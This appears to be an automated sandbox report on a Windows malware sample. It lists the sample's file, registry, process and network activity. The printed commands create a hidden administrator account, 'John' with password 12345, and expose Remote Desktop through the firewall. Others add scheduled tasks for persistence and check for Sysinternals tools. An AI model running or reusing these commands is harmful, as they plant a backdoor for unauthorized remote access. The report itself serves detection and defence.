Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\wininet\winsers
- <SYSTEM32>\tasks\microsoft\windows\wininet\winser
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters] 'ServiceDll' = '%ProgramFiles%\RDP Wrapper\rdpwrap.dll'
Malicious functions
Executes the following
- '<SYSTEM32>\net.exe' user John 12345 /add
- '<SYSTEM32>\net.exe' localgroup "Администраторы" John /add
- '<SYSTEM32>\net.exe' localgroup "Administradores" John /add
- '<SYSTEM32>\net.exe' localgroup "Remote Desktop Users" john /add
- '<SYSTEM32>\net.exe' localgroup "Пользователи удаленного рабочего стола" John /add
- '<SYSTEM32>\net.exe' localgroup "Administrators" John /add
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\svchost.exe
Searches for windows to
detect analytical utilities:
- ClassName: 'RegmonClass', WindowName: ''
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
Modifies file system
Creates the following files
- %TEMP%\aut6518.tmp
- %TEMP%\aut5f90.tmp
- %ProgramFiles%\rdp wrapper\rdpwrap.ini
- %TEMP%\aut5f70.tmp
- %APPDATA%\rms_settings\logs\rms_log_2025-06.html
- %ALLUSERSPROFILE%\windows tasks service\settings.dat
- %TEMP%\auta65d.tmp
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\index.dat
- %APPDATA%\microsoft\windows\cookies\low\index.dat
- %ALLUSERSPROFILE%\rdpwinst.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\4984r974\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\1unmz8v9\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\ymk11kxg\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %ALLUSERSPROFILE%\windows tasks service\winserv.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\fzuvtb3l\desktop.ini
- %ProgramFiles%\rdp wrapper\rdpwrap.dll
Sets the 'hidden' attribute to the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\ymk11kxg\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\1unmz8v9\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\fzuvtb3l\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\4984r974\desktop.ini
- %ProgramFiles%\rdp wrapper\rdpwrap.ini
Deletes the following files
- %TEMP%\aut6518.tmp
- %TEMP%\auta65d.tmp
- %TEMP%\aut5f70.tmp
- %TEMP%\aut5f90.tmp
Network activity
Connects to
- '51.##.171.208':5655
UDP
- DNS ASK id###ver.xyz
- DNS ASK id####erbackup.xyz
Miscellaneous
Searches for the following windows
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Creates and executes the following
- '%ALLUSERSPROFILE%\windows tasks service\winserv.exe'
- '%ALLUSERSPROFILE%\windows tasks service\winserv.exe' Task Service\winserv.exe
- '%ALLUSERSPROFILE%\windows tasks service\winserv.exe' -second
- '%ALLUSERSPROFILE%\rdpwinst.exe' -i
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"%ALLUSERSPROFILE%\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
- '<SYSTEM32>\net.exe' localgroup "Пользователи удаленного управления" john /add" John /add
- '<SYSTEM32>\cmd.exe' /c net localgroup "Administrators" John /add
- '<SYSTEM32>\net1.exe' localgroup "Administrators" John /add
- '<SYSTEM32>\net1.exe' user John 12345 /add
- '<SYSTEM32>\cmd.exe' /c net localgroup "Пользователи удаленного рабочего стола" John /add
- '<SYSTEM32>\net1.exe' localgroup "Администраторы" John /add
- '<SYSTEM32>\cmd.exe' /c net localgroup "Администраторы" John /add
- '<SYSTEM32>\cmd.exe' /c net localgroup "Administradores" John /add
- '<SYSTEM32>\cmd.exe' /c net localgroup "Пользователи удаленного управления" john /add" John /add
- '<SYSTEM32>\net1.exe' localgroup "Administradores" John /add
- '<SYSTEM32>\taskeng.exe' {D880BB7D-C5B5-4B1F-BC80-153CCCACC0AE} S-1-5-21-3691498038-2086406363-2140527554-1000:vjvihyimhgqx\user:Interactive:[1]
- '<SYSTEM32>\net1.exe' localgroup "Пользователи удаленного управления" john /add" John /add
- '<SYSTEM32>\rundll32.exe' "<SYSTEM32>\WININET.dll",DispatchAPICall 1
- '<SYSTEM32>\net1.exe' localgroup "Пользователи удаленного рабочего стола" John /add
- '<SYSTEM32>\net1.exe' localgroup "Remote Desktop Users" john /add
- '<SYSTEM32>\cmd.exe' /c net user John 12345 /add
- '<SYSTEM32>\cmd.exe' /c net localgroup "Remote Desktop Users" john /add
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"%ALLUSERSPROFILE%\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
- '<SYSTEM32>\cmd.exe' /c net localgroup "Administradores" John /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c net localgroup "Remote Desktop Users" john /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c net localgroup "Administrators" John /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c net localgroup "Пользователи удаленного рабочего стола" John /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c net localgroup "Пользователи удаленного управления" john /add" John /add' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"%ALLUSERSPROFILE%\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST' (with hidden window)
- '%ALLUSERSPROFILE%\windows tasks service\winserv.exe' Task Service\winserv.exe' (with hidden window)
- '%ALLUSERSPROFILE%\windows tasks service\winserv.exe' ' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"%ALLUSERSPROFILE%\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c net localgroup "Администраторы" John /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c net user John 12345 /add' (with hidden window)
- '%ALLUSERSPROFILE%\rdpwinst.exe' -i' (with hidden window)
